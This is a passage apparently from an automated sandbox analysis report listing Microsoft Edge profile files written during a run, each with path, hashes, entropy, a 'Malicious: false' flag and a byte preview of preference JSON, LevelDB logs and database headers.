Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6745903D-1E80.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.4894513460582134
Encrypted:	false
SSDEEP:	6144:j/AIuxzrWkcfKwsuLf1C3IMcF8k5dpe4oqyIwtThXliYDYBzaCWHrnNTnCNl/qzT:BkcYRVw7
MD5:	64BF16EB03FD6BDE4690E50CB09CC1FA
SHA1:	C897EA2DB7744EDFCC4A142964C55A2354315FBC
SHA-256:	2A44632C93E6D169101D1809311EE82509B7833C8E76498BD8577917BB578238
SHA-512:	51066CFA1AA232C8EAC82BAE535B62D237AFA324C21AEF6111EC14DE5FD842A2CD2989C4520F43071C2401DBE49C18A079882E1CBA4BF0E9905646E2842B26FD
Malicious:	false
Preview:	...@..@...@.....C.].....@...............8...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".lndqxx20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. ...2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\1d7cfd5d-5f68-4032-a5de-f24c00ae0f85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17429), with no line terminators
Category:	dropped
Size (bytes):	17433
Entropy (8bit):	5.480568002451012
Encrypted:	false
SSDEEP:	384:st8PGQSu4NsMwfh+W4/y2pnyAbG4QwXb6WalaTYz:sKOXu+wfgLfbGHEIaTYz
MD5:	EBB71F24CEE7DAFD0E4F6F3A219CB3F6
SHA1:	154EDBA5855E8DD9CE51D554AE0D0586E10B7FD3
SHA-256:	7593A1A7D4785EBDD52B51A78C1534703F31C3F283785AC36BB259374837ADC3
SHA-512:	B67B4378C33A53F19A61D6E730A480ECC2D1EBA6103281CBFE4E7442E849927DF87E34565EF3E9434385B42B5C592523182366DF6FA71EA2B9A422736FE86E50
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3906722c-f8af-47df-98b3-7340a0ca6ba1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558053668035287
Encrypted:	false
SSDEEP:	768:dHRcGlv7pLGLPuHWPHbfaB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYlm0Drwip7tuf:dHRcGlpcPuHWPHbfaBu1jatY04GtY
MD5:	BE4B2755510214B88DF1539AAFEA6DEC
SHA1:	82EB8F06348F23EED3808F7EAABFFA3A77FF3494
SHA-256:	EEA9E5DDCE60E6609B561F42E6296C0172ABA11EDD688FF99FCD4C7B336C38D2
SHA-512:	D2360ABAADEB5B4D911BE85311053C5F784F386CF5B031E3DEEF15DAE675ACD8A1CE63DBBA4A6918DC446CBC4A4380A095331B3EE386BE6B412C3AAEDFF9B2D7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\50011675-8c25-4125-84d2-9529bc13cdaa.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5eb494dd-d39f-4bb1-8cdc-0af377c7f3e4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561290850178795
Encrypted:	false
SSDEEP:	768:dy/cklv7pLGLPhHWPHbf7B8F1+UoAYDCx9Tuqh0VfUC9xbog/OVklDvcWlmrDrw9:dy/cklpcPhHWPHbf7Bu1ja5lDvcWYr49
MD5:	ACCD4154258E2C6A08818A95A13BCEC3
SHA1:	DA827B46B1E8B4E748425E110937A07AD215369C
SHA-256:	9465204BC2F2833E4ABC0756B075A0C53C6F0689766A259E39335D05D5A63FE2
SHA-512:	54296A0BE8B5DFC5946E3F10541727AFC69B52370EA157333E3F39FEDFC87C1947C122B275D45B30260A3C99659F2CF8FC4658BECF05E4700C17A55D04F4FC0D
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6ecbc06b-4c09-44a5-93aa-a7fc9d59fbed.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17429), with no line terminators
Category:	dropped
Size (bytes):	17433
Entropy (8bit):	5.480750956279397
Encrypted:	false
SSDEEP:	384:st8PGQSu4NsMwfh+W4/y2pnyAbG4QwXb6W/laTYz:sKOXu+wfgLfbGHEZaTYz
MD5:	C12AC9643154D5C8E37B93CD23F53E52
SHA1:	230214EB9C414B3C16EAAAE5CAEA48001428735C
SHA-256:	3578490E49BA45F13070A85C16A24A697E20AF68C7AFD73F9DF56A25AFB70978
SHA-512:	04F4589CDC9C2DBB678D612B0B7E1BCB03BF6E25CC0327E6064A8C2C5A067FC1DB8576549D00470FCA22329B05DDF7450B9CE2C152C35F81A67FCFBEB322431B
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\806f377f-5ad7-47bc-a069-1ab1829a5d61.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\861d9f42-048e-4a85-96b3-6952f3c649be.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16486), with no line terminators
Category:	dropped
Size (bytes):	16490
Entropy (8bit):	5.444640130081771
Encrypted:	false
SSDEEP:	384:st8PGQSu4NsMwfhBy2pnyibG4QwXb6W/aTYz:sKOXu+wf/TbGHE7aTYz
MD5:	AC0785E9E391082C40B922F0D072D357
SHA1:	63294402E38BB81CBB8D23BC73B970D4601D7246
SHA-256:	B88D77758643DC918B8E2CF376421C4AE3FC29439EE57D46ED15AE8D3C0FD555
SHA-512:	90147E6AB71400FA0F0451A7FD7D9B7CDBD7998747D4AAF02C3631B0C5B923F9B4403B495E6C4F22592120DBCAB31FC0B84A1E55F30FD23C412DAF07A3436E54
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\95281044-a8d5-4a2c-92cf-5d5fb467cf5a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9ab57179-91f3-4718-aa09-33842d0a807d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.554922289644762
Encrypted:	false
SSDEEP:	768:dy/cklv7pLGLPhHWPHbf7B8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrlmrDrw9AzwqC:dy/cklpcPhHWPHbf7Bu1jaqYr49AzpOZ
MD5:	F95E0EBAE541CFE287D8FFE69A2ED5B3
SHA1:	AC317CD815F9E2237063F62E269CF61B932FD7AC
SHA-256:	F0A3B706E41009CB7575CEB2A25A7F67E2001C422C21C98C51B1CCD1CC715008
SHA-512:	9B3BDF30F2BDB76CF403F2C9871AAD138D14C44BBEE8E3C56531C2A6505310BD62A2CC5F00F52C5F4D04B46DA7B2C04B7A353405C300AC7C5F0F6563A9A619FA
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.230023450210561
Encrypted:	false
SSDEEP:	6:HKuq1923oH+Tcwtp3hBtB2KLlVKJFMM+q2P923oH+Tcwtp3hBWsIFUv:qyYebp3dFLyJqM+v4Yebp3eFUv
MD5:	C4533B1D534F7718B37B33D025888988
SHA1:	5D60B480C21528182284894BFDADB51AF000E879
SHA-256:	DAFE200D5D93C83C72C3E7AAB43E384E63BED6AA2A9DF27D4DBE83C243B29522
SHA-512:	1730968D6081F7A0EEE106D01D0874FC20B62C71D0A379B6C9324895369BEEA19F10116CB02CD821EDEDFCD1A1ADCC3402E7DDBACD7998B738D7F1C6F06AFA37
Malicious:	false
Preview:	2024/11/26-04:09:22.373 1ffc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/26-04:09:22.399 1ffc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222883488304899
Encrypted:	false
SSDEEP:	24576:v+/PN8FzfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8tfx2mjF
MD5:	AB10F7EA129CB907888DA988AE049C58
SHA1:	8A094CFC69E590E0DFBDECF0AEA2255F47B9108C
SHA-256:	A41BE47FC910255584CB0AF9FC6D44FC1C5520388D1DF43644F3535BC8D45C21
SHA-512:	A2288492ECF67D1901D53F8D5C8D2EB89224B53F401CE3345C0A373601719FE73AAD5C31074E3C8A645163C72A7D7B02AD27964712033176C9E9DDA812AC6BF2
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.121357856180626
Encrypted:	false
SSDEEP:	6:HKLfM+q2P923oH+Tcwt9Eh1tIFUt8YKxEZmw+YKV6qMVkwO923oH+Tcwt9Eh15LJ:qLfM+v4Yeb9Eh16FUt8Re/+RoqMV5LYf
MD5:	8A6409367A9E9A8F2F9426BE5625A275
SHA1:	D96E50DB17EBCF20BAB8C531916839CC9E37C488
SHA-256:	B24CD177CB09D7DB75596E77578EFF3692A3D9F3547BADE323887DFFBA9BB698
SHA-512:	924C7FE59C33DEBC49C61736B6451A14F1559B81539045CBEEE1D6EC761F08877726C498C3A4411ACAD50377D1F13966AE86D933BBB299AF3F53D0C3769EBE85
Malicious:	false
Preview:	2024/11/26-04:09:21.945 206c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-04:09:21.947 206c Recovering log #3.2024/11/26-04:09:21.952 206c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.121357856180626
Encrypted:	false
SSDEEP:	6:HKLfM+q2P923oH+Tcwt9Eh1tIFUt8YKxEZmw+YKV6qMVkwO923oH+Tcwt9Eh15LJ:qLfM+v4Yeb9Eh16FUt8Re/+RoqMV5LYf
MD5:	8A6409367A9E9A8F2F9426BE5625A275
SHA1:	D96E50DB17EBCF20BAB8C531916839CC9E37C488
SHA-256:	B24CD177CB09D7DB75596E77578EFF3692A3D9F3547BADE323887DFFBA9BB698
SHA-512:	924C7FE59C33DEBC49C61736B6451A14F1559B81539045CBEEE1D6EC761F08877726C498C3A4411ACAD50377D1F13966AE86D933BBB299AF3F53D0C3769EBE85
Malicious:	false
Preview:	2024/11/26-04:09:21.945 206c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/26-04:09:21.947 206c Recovering log #3.2024/11/26-04:09:21.952 206c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.4621810413525437
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu1:TouQq3qh7z3bY2LNW9WMcUvBu1
MD5:	41C5AAB0CF32FF6BF5405C7E10C09B0A
SHA1:	7BFB99BFB24615ED20B007F05DFD01082B86CA17
SHA-256:	BBDEEF06191B0697F1F43CF943B9D7AA0A4D71BF6D20FFD83425508895B05E45
SHA-512:	60E24F768ADE101A5FC6869243EEE5109B0792A88429C176B4490BF17556D5CF807D53DCE6F8E27AE89DD24EC026C95B069E8C12ADB5E9DC2727946E7E8FE8EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
